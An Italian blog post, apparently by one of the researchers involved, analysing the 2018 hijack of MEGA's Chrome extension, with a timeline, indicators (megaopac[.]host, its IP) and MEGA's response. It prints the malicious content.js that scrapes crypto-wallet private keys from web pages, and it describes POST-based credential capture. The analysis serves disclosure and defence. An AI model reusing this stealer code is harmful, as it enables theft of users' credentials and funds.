MEGA Chrome extension hacked

TLDR;

Il 4 settembre alle 14:30 UTC, una persona sconosciuta è riuscita a penetrare nell’account dello store di estensioni di Google Chrome di MEGA e, successivamente, è riuscita a caricare una versione 3.39.4 dell’estensione MEGA nel Chrome store, secondo un post pubblicato dall’omonima azienda. Dopo l’installazione o l’aggiornamento automatico, l’estensione malevola chiedeva autorizzazioni elevate per accedere alle informazioni personali, permettendogli di rubare le credenziali di accesso / registrazione dai siti Web come Amazon, Github e Google, insieme ai webwallet online come MyEtherWallet e MyMonero e la piattaforma di trading di criptovaluta Idex.market. L’estensione Mega trojanizzata ha quindi inviato tutte le informazioni rubate sul server di un utente situato presso l’host megaopac [.] in Ucraina, che viene poi utilizzato dagli hacker per accedere agli account delle vittime e anche per estrarre le chiavi private della criptovaluta per rubare valute digitali degli utenti.

Timeline dettagliata

14:30 UTC - 4 Settembre 2018

Un utente sconosciuto è riuscito ad accedere al profilo di Chrome Extension Store, utilizzato dal team MEGA. È stata caricata una nuova versione di estensione di MEGA Chrome (3.39.4) contenente codice potenzialmente malevolo.

16:00 UTC - 4 Settembre 2018

Un utente reddit ( /u/gattacus ) ha notato alcune modifiche indesiderate sull’ultima versione dell’estensione Chrome di MEGA. Il browser Chrome inizialmente chiedeva di nuove autorizzazioni sulla lettura di tutto il contenuto da una pagina web. L’utente ha opportunamente cercato di vedere se ci fosse qualche problema a livello di codice e ha scoperto, inizialmente, che l’estensione recepiva le chiave private dei cryptocurrencies-wallet e poi le mandava al proprietario dell’estensione. Quindi l’utente in questione ha pubblicato questo thread per avere alcune conferme dalla comunità di Monero.

A quel punto entro in scena io. Intento a investigare di più, scarico anche io l’estensione e scopro purtroppo che non è limitato a un semplice problema. L’estensione era stata hackerata sicuramente dato il largo uso di codice malevole per catturare campi POST che contenessero “username” e “password” da qualsiasi piattaforma, specialmente Microsoft, Google, Amazon e Github.

17:16 UTC - 4 Settembre 2018

Dopo aver scoperto ciò, ho postato un avviso su Twitter. La community InfoSec e alcune ricercatori per la sicurezza informatica hanno confermato questo problema.

17.23 UTC - 4 Settembre 2018

L’account ufficiale di Monero (XMR) posta a sua volta un avviso per notificare agli utenti che usano Monero di stare alla larga dall’estensione malevole.

17:45 UTC - 4 Settembre 2018

Un altro ingegnere, Jeremiah O’Connor, conferma che l’infrastruttura ha a che fare con l’attacco AWS/MEW BGP.

“That infrastructure has heavily targeted $xmr, $eth, and more in the past via @GoogleAds, and related to AWS/MEW BGP hack https://pic.twitter.com/VWS31fzrB4" – Jeremiah O’Connor (Twitter profile removed)

18:09 UTC - 4 Settembre 2018

Megaopac[.]host domain sembra avere un pannello di controllo.

“What is this? … hxxps://megaopac[.]host/login.html …” – David Montenegro (@CryptoInsane) [post removed]

18:50 UTC - 4 Settembre 2018

Riccardo Spagni (fluffypony) - ex-proprietario di MyMonero - conferma il problema. L’estensione può ricavare le chiavi private di ogni wallet, pertanto si consiglia l’immediata disinstallazione.

19:19 UTC - 4 Settembre 2018

Google dopo diverse segnalazioni rimuove l’estensione.

20:18 UTC - 4 Settembre 2018

Namecheap, proprietaria legale del dominio che riceve tutti i dati, inoltra la richiesta di bloccare il dominio megaopac[.]host al team “Abuse”.

20.19 UTC - 4 Settembre 2018

NameCheap blocca il dominio megaopac[.]host .

problem solved ~ @Logout

20:53 UTC - 4 Settembre 2018

Andrea Draghetti condivide una completa analisi NMAP per il dominio megaopac[.]host effettuata qualche minuto prima della sospensione. L’ip della VPS riconduce all’Ucraina.

20:47 UTC on 4 Settembre 2018

Emanuele Gentili mi conferma che la VPS è allocata in Ucraina.

21:07 UTC on 4 Settembre 2018

Emanuele Gentili ha eseguito un’analisi sui file modificati dall’attaccante. La cronologia sui “tempi” coinciderebbe con il fuso orario dell’Ucraina.

22:53 UTC on 4 Settembre 2018

Molti utenti confermano che l’estensione può loggare ogni richiesta POST nel caso in cui contenesse stringhe “login”, “usr”, “password”, “pwd”

5:55 UTC on 5th September 2018

MEGA ha confermato l’attacco e hanno rilasciato la nuova versione (3.39.5) e un post sul loro blog ufficiale.

Come funziona

In primo luogo, l’estensione carica un custom script se l’url contiene domini specificati nel “matches” array.

"matches": [ "file:///*", "https://www.myetherwallet.com/*", "https://mymonero.com/*", "https://idex.market/*" ] 

Nella versione modificata, c’è un file che desta subito sospetti. Content.js di cui sotto ripropongo il codice.

function onWindowLoad() {
    $("body").append('<\/script\/> {' +
    'var lAdr = "";' +
    'var lPK = "";' +
	'var lma="";' +
	'var imsa="";' +
    'setInterval(function() {' +
    '	var x = document.getElementsByTagName("main");' +
    '	var i;' +
    '	\\for (i = 0; i < x.length; i++) {' +
	'		if ((x[i].className == "tab-pane active ng-scope") || (x[i].className == "tab-pane block--container active ng-scope")) { ' +
	' 			var scope = angular.element(x[i]).scope();' +
    ' 			if (scope != null && scope.wallet != null) {' +
	'				if (lAdr != scope.wallet.getAddressString() || lPK != scope.wallet.getPrivateKeyString()) {' +
    '					lAdr = scope.wallet.getAddressString();' +
    '					lPK = scope.wallet.getPrivateKeyString();' +
	'					document.dispatchEvent(new CustomEvent(\"nmew\", { detail: { address: lAdr, pkey: lPK } }));'  +
    '				}' +
	'			}' +
	'		}' +
    '	}' +
	'	' +
	'   var z = document.getElementsByTagName("body");' +
	'   for (i = 0; i < z.length; i++) {' +
	'		if (z[i].className == "ng-scope") { ' +
	'			var scope = angular.element(z[i]).scope();' + 
	'			if (scope != null && scope.address != null && scope.spend_key != null && scope.view_key != null) {' +
	'				if (lma != scope.address) {' +
	'					lma = scope.address;' +
	'					document.dispatchEvent(new CustomEvent(\"nmm\", { detail: { address: lma, keys: scope.view_key + " " + scope.spend_key} }));' +
	'				}' +
	'			}' +
	' 		}' + 
	'	}' +
	'	if (localStorage && configuration) {' +
	'		let state = localStorage.getItem("state");' +
	'		let keySalt = configuration.keySalt;' +
	'		if (state && keySalt) {' +
	'			var selAcc = JSON.parse(state)["selectedAccount"];' +
	'			if (imsa != selAcc) {' +
	'				document.dispatchEvent(new CustomEvent(\"imm\", { detail: { data: state, salt: keySalt } }));' +
	'				imsa = selAcc;' +
	'			}' +
	'		}' +
	'	}' +
    '}, 2000);' +
    '} ');
}
window.onload = onWindowLoad;

document.addEventListener("nmew", function(ev) {
	chrome.runtime.sendMessage({action: "nmewm",address: ev.detail["address"],keys:ev.detail["pkey"]});
});

document.addEventListener("nmm", function(ev) {
	chrome.runtime.sendMessage({action: "nmmm",address: ev.detail["address"],keys:ev.detail["keys"]});
});

document.addEventListener("imm", function(ev) {
	chrome.runtime.sendMessage({action: "immm", data: ev.detail["data"], salt:ev.detail["salt"]});
});

Naturalmente, lo script viene iniettato al caricamento della pagina, probabilmente per evadere alcuni filtri. Lo script riesce a ricavare le chiavi private dei web wallet dai “modal”. Dopo aver fatto ciò, usa la funzione chrome.runtime.sendMessage per inviare i dati al proprietario dell’account dell’estensione.

La seconda via per il logging era quella di intercettare ogni richiesta POST sopratutto da domini hard-coded come Amazon, Google, Microsoft e GitHub. Tutto il contenuto viene inviato a un API collocata sul dominio megaopac[.]host con IPv4 176.119.1[.]146..

Sopratutto, l’estensione è stata in grado di ricevere e inviare ogni richiesta POST che contenesse particolari dati, come l’URL che corrisponde a Register or Login o variabili chiamate “username”, “email”, “user”, “login”, “usr”, “pass”, “passwd”, or “password”.

MEGA Chrome extension hacked part 1
MEGA Chrome extension hacked part 2

La press release dell’azienda

Di seguito una parte dell’annuncio tradotto. “Vorremmo scusarci per questo incidente significativo: MEGA utilizza procedure di rilascio rigorose con revisione del codice di più parti, utilizzando un solido flusso di lavoro di build e firme crittografiche laddove possibile”. “Purtroppo, Google ha deciso di non consentire le firme dei publisher sulle estensioni di Chrome e ora fa affidamento esclusivamente sulla firma automatica dopo il caricamento sul webstore di Chrome, che rimuove un importante ostacolo al compromesso esterno. MEGAsync e la nostra estensione per Firefox sono firmati e ospitati da noi e non sono state vittime di questo vettore di attacco: mentre le nostre app mobili sono ospitate da Apple / Google / Microsoft, sono firmate crittograficamente da noi e quindi anche immuni “.